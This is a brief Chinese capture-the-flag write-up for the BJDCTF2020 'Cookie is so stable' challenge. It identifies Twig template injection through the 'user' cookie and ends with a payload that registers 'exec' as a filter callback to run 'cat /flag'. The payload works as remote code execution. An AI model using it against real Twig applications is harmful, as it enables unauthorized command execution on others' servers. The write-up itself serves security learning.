[BJDCTF2020]Cookie is so stable

0x00 知識點

Twig模板注入
鏈接：

https://www.k0rz3n.com/2018/11/12/一篇文章帶你理解漏洞之SSTI漏洞/#2-Twig

0x01 解題

測試一下發現*wig模板注入

找注入點：
根據提示，cookie中的user是注入點

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}};